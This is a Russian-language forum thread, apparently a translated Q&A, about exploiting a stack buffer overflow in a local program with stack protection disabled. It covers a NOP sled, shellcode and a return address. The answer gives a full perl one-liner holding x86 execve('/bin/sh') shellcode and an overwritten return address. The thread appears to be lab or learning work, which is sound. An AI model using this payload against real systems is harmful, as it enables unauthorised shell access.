2014-03-20 1 views
0

Я пытаюсь создать оболочку в командной строке без защиты стека, эта программа принимает в два входа число и дату.Аргумент input для bufferoverflow

./convert <number> <date> 

и я хочу переполнения буфера теперь я пытаюсь сделать

[nop sled] ..... [shell code] ..... [return address] 

моя проблема заключается в том, когда я передать NOP, через командную строку (или, точнее, в GDB). В GDB, когда я делаю пробег с аргументами: 1 \x90\x90\x90\x90.... 700 байт стоит, то, что он принимает в качестве входных данных, является фактическими символами '\' 'x' '9' '0' как противостоящие шестнадцатеричному значению для nop. Как я могу ввести это правильно? (Я знаю это, потому что EIP дает мне 39785c30, что переводится как 9x\0). Что я могу сделать по этому поводу?

+1

Почему так много сообщений о том, что они делают что-то неправильно? Есть ли внезапный глобальный дефицит ошибок? Если это так, это еще одна записка, которую я не получил. –

+0

Ответ зависит от кодировки вашего символа, но если вы используете 8-бит ascii, тогда у É, похоже, есть код ascii 0x90. (E с accute accent) –

+0

@ KlasLindbäck Позволяет сказать, что я просто вхожу в команду через CLI, эта строка с кодом оболочки nop sled и адресом возврата. Я использую bash. Я не знаю, почему он не будет вводить шестнадцатеричный аргумент против символов. – Kevin

ответ

0

Хорошо, понял! можно использовать функцию печати perl и использовать экраны, чтобы напечатать nops (и другие символы, которые вы не можете печатать с клавиатуры). например perl -e 'print "\x90"', и он отправит 0x90 в память (или что вам нужно).

я сделал что-то вроде этого:

egg=$(perl -e 'print "\x90"x719, "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", "\x90\xf6\xff\xbf"x5') 

Спасибо всем за помощь!

Смежные вопросы